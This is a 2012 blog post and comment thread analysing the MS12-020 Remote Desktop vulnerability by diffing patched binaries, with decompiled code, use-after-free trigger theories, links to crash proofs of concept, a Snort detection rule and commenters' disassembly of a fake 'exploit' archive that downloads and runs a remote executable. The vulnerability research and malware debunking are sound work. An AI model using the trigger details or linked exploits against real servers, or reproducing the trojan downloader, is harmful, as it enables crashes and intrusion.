MS12-020 Vulnerabilities in Remote Desktop Could Allow Remote Code Execution
Update(03/19/2012) : Now I understand why MS said “we are not expecting to see the exploit in a few days”. To be honest, I don’t really understand how this vulnerability is working @.@. The actual bug trigger (known by leaked PoC) is in the last two pictures (rdpwd!nm_Disconnect), and you can trigger this routine by making this function fail in the middle after executing “or [esi+1c], 1”. Please see my comments below how to trigger this.
Update(03/16/2012) : Crash PoCs are available now by cool guys from freenode co-work. Here’s big fun. These codes were written based on the wild-PoC, but that wild-PoC seems to be the one originally reported to ZDI (https://twitter.com/#!/luigi_auriemma). Do you see what this means ? 🙂
http://pastebin.com/jzQxvnpj (python)
http://pastie.org/private/feg8du0e9kfagng4rrg (by jduck, ruby)
Update : more diffing points. Well… you’re right. I’m still guessing.
NOTE : I haven’t confirmed this vulnerability yet, so basically this is my rough guess on this vulnerability. MS12-020 touched many different files and I don’t think I’ll take a look all of them. Hope we get helpful feed-backs on this issue from you. There’s also other analysis on MS12-020 – http://blog.binaryninjas.org/?p=58
Related CVE : Remote Desktop Protocol Vulnerability – CVE-2012-0002
Terminal Server Denial of Service Vulnerability – CVE-2012-0152
(This post would be about CVE-2012-0002, but need to be confirmed)
Diffed Binary : rdpcore.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850)
rdpcore.dll 6.1.7601.17779 (win7sp1_gdr.120216-1503)
Look at CRDPWDUMXStack:OnMcsCPI(). This function decodes and saves the user data from the GCCUserData structure. When you make the first branch condition fail, you can directly call RDPWDUMXGccFreeUserData() function, which is a simple wrapper function of delete(). It is clear that [ebp+var_10] is uninitialized before the patch. How it is patched ? Just look at where a series of “stosd” instructions are.)
rdpwd!HandleAttachUserReq(). This one is easy to trigger and looks very interesting, but it could be just a memory leak patch.
rdpwd!MCSChannelJoinRequest(). There was some problems in handling channel id. Note that each channel seems to have a corresponding entry in the link list.
tdtcp.sys!DeviceCancelIo(). See different function call has been made, TdiDisconnect() and TdLocalDisconnect(). TdLocalDisconnect() is actually a wrapper function of TdiDisconnect() while doing DEREF like job. Do you remember MS11-083 ? MS11-083’s vulnerability and patch was pretty similar to this.
rdpwd!nm_Disconnect(). After invoking the destructing function, it clears LSB-bit of the variable. See? Before actually invoking the destructing function, this LSB-bit variable is checked. Yeah, it should be double free (or use-after-free).
rdpwd!NMAbortConnect() has a similar pattern patch. Note that these two routines are closely linked together. That is, if you can hit NMAbortConnect(), it is highly likely that you can also hit nm_Disconnect(). In other words, if you can invoke these two routines, at least you will see crash.
Another vector maybe interesting:
Original Version:
void __stdcall CRDPWDUMXStack::OnReadCompleted(int a1, int a2)
{
int v3; // esi@2
int v4; // ebx@2
struct _RTL_CRITICAL_SECTION *lpCriticalSection; // [sp+8h] [bp-Ch]@1
int v6; // [sp+Ch] [bp-8h]@2
int v7; // [sp+10h] [bp-4h]@2
lpCriticalSection = (struct _RTL_CRITICAL_SECTION *)(a1 + 44);
EnterCriticalSection((LPCRITICAL_SECTION)(a1 + 44));
if ( *(_BYTE *)(a1 + 12) & 0x10 )
{
(*(void (__stdcall **)(_DWORD, int))(**(_DWORD **)(a1 + 1144) + 16))(*(_DWORD *)(a1 + 1144), a2);
}
===============
And Patched Version:
void __stdcall CRDPWDUMXStack::OnReadCompleted(int a1, int a2)
{
int v4; // ebx@2
int v5; // eax@3
struct _RTL_CRITICAL_SECTION *lpCriticalSection; // [sp+8h] [bp-Ch]@1
int v7; // [sp+Ch] [bp-8h]@2
int v8; // [sp+10h] [bp-4h]@2
lpCriticalSection = (struct _RTL_CRITICAL_SECTION *)(a1 + 44);
EnterCriticalSection((LPCRITICAL_SECTION)(a1 + 44));
if ( *(_BYTE *)(a1 + 12) & 0x10 )
{
v5 = 0x80004004u;
}
=====
No call anymore? Huh????
Hah, we’re doing exactly the same thing 🙂 IRC?
Not sure if it’s relevant yet, but there’s another interesting change in CTSThread::StartThread(). In the unpatched version it calls PAL_System_ThreadAlloc(), but in the patched version it calls PAL_System_ThreadAllocInit() instead – a new function that wraps PAL_System_ThreadAlloc() and does some more things before and after it.
Interesting! Seems to me that MS12-020 involves many threading issues. Threading is a bomber, as always 🙂
Pingback: MS12-020 – Mycket allvarlig brist i Remote Desktop Protocol « SAFESIDE-bloggen
Poc, we also want to test 🙂
Thank you
🙂
Sorry, I do not have PoC @.@
Fake or true? PoC for MS12-020 released? BE CAREFUL – I did NOT tested it (yet): Phython source here: http://pastebin.com/G2SHGPBc
this is also fake
Pingback: CVE-2012-0002 « hep-cat.de
Snort rules:
alert tcp any any -> any 3389 (flow:to_server,established; content:”|03 00|”; depth:2; content:”|7f 65 82|”; distance:5; within:3; content:”|30 19|”; distance:11; within:2; byte_test:1, any 3389 (flow:to_server,established; content:”|03 00|”; depth:2; content:”|7f 65 82|”; distance:5; within:3; content:”|30 1c|”; distance:65; within:2; byte_test:2,<,6,2,relative;)
http://pastebin.com/fFWkezQH
this is fake
Luigi Auriemma @luigi_auriemma confirmed:
ms12-020 mistery: the packet stored in the “chinese” rdpclient.exe PoC is the EXACT ONE I gave to ZDI!!! @thezdi? @microsoft? who leaked?
anyone has the Chinese PoC?
i’ve updated the link
Thanks!!
What about the command execution one ? lol
Pingback: Exploit público para MS12-020 (Parchea tu windows!) - TalSoft TS S.R.L.
The poc rdpclient.exe is valid. I’ve tested on Vista SP1 and Vista SP2. bluescreens after remote execution.
UPDATE: another Chinese Exploit but this time a Remote Code execution!
picture: https://p.twimg.com/AoIxTZWCQAEc9Lq.png:large
a video is also available here : http://good.gd/1975261.htm http://pic.twitter.com/GQMH0RZe
i knew it was comin :p
UPDATE2: Possible MS12-020 remote code execution exploit found!
http://www.tmdsb.com/wp-content/uploads/2012/03/MS12-0201.rar
use it at your own risk! lol
It’s a trojan/downloader that downloads a file:
push offset aD1_exe ; “d:\\1.exe”
push offset aHttpLib_gxufe_ ; “http://lib.gxufe.cn/data/calc.exe”
push 0 ; LPUNKNOWN
call URLDownloadToFileA
That file in visrus total:
https://www.virustotal.com/file/36d2015732e777eff4ab6921cccdcbc347a3540ed4164ee9d514a9ac55476dc2/analysis/1331934585/
Nice try….. not really.
yes i have posted a warning but the comment comment is awaiting moderation.
Thanks Jeremy Richards!
UPDATE 3: the last MS12-0201.rar i posted contains a Trojan Horse
http://lib.gxufe.cn/data/calc.exe
heres the result for the malicious file packed inside MS12-0201.exe
https://www.virustotal.com/file/36d2015732e777eff4ab6921cccdcbc347a3540ed4164ee9d514a9ac55476dc2/analysis/
Looks like ruby code triggers a bug check. Does it mean that memory corruption occurs within ring 0,that is, a .sys module?
Yes I think so? It touches the kernel pool memory.
Question
Is this related to a race condition?!
Server-side Crash Scenario
1. Connect initial Packet
– Make a new channel object
2. During the connect initial, server recv a Attach User Request packet
– call HandleAttachUserReq
– and SListRemove
3. Connect initial which is not finished
– use removed channel object (use after free)
Because..
1. If a server get only connect initial packet, no crash occurred. But, when I added Attach User Request packet, crash occurred
2. When I set a breakpoint in connect initial procedure, no crash occurred.
3. Maybe HandleAttachUserReq function is exported. (Called by termdd module)
4. My scenario does make sense…
How do you think?!
You’re right. There’s seems to be a timing issue by depending on when you disconnect the connection, but I don’t truly understand how it’s working. Here’s my guess.
– You can set maxChannelIds using domain parameters.
– Each calling of HandleAttachUserReq() increases the number of channel id by 1.
– if(maxChannelIds == the number of channel id) ==> then it goes to the error handling routine, which triggers the use-after-free bug.
– thus, if you disconnect the connection (or disconnected by the server) before the number of channel id reaches to the maxChannelIds, then there’s no crash ?
You better go to freenode #MS12-020 channel, and ask there 🙂
Very good posts 😀
I would just like to know why there are so many null bytes in the above PoC’s you have posted?
I thought nulls in shellcode meant it wouldn’t be executed, can you please explain?
Keep the updates coming though.
Shellcodes? 🙂 As far as I know, there’s no working code execution exploits so far. Perhaps null bytes you’ve seen would be RDP protocol packets.
Ohhh ok, I understand now :$
Thanks 🙂
In any case, the null byte problem only occurs when exploiting bugs related to the C language string manipulation functions (like strcpy for example).
That’s only because C strings use the null byte to indicate where strings end, as opposed to other languages in which string objects have an explicit size attribute.
In general, restrictions to shellcodes have to do entirely with what the vulnerable program is doing with the shellcode bytes before the remote code execution happens. Sometimes you have to avoid uppercase letters instead of null bytes, just to give you an example. There’s nothing “magical” about null bytes in particular. 🙂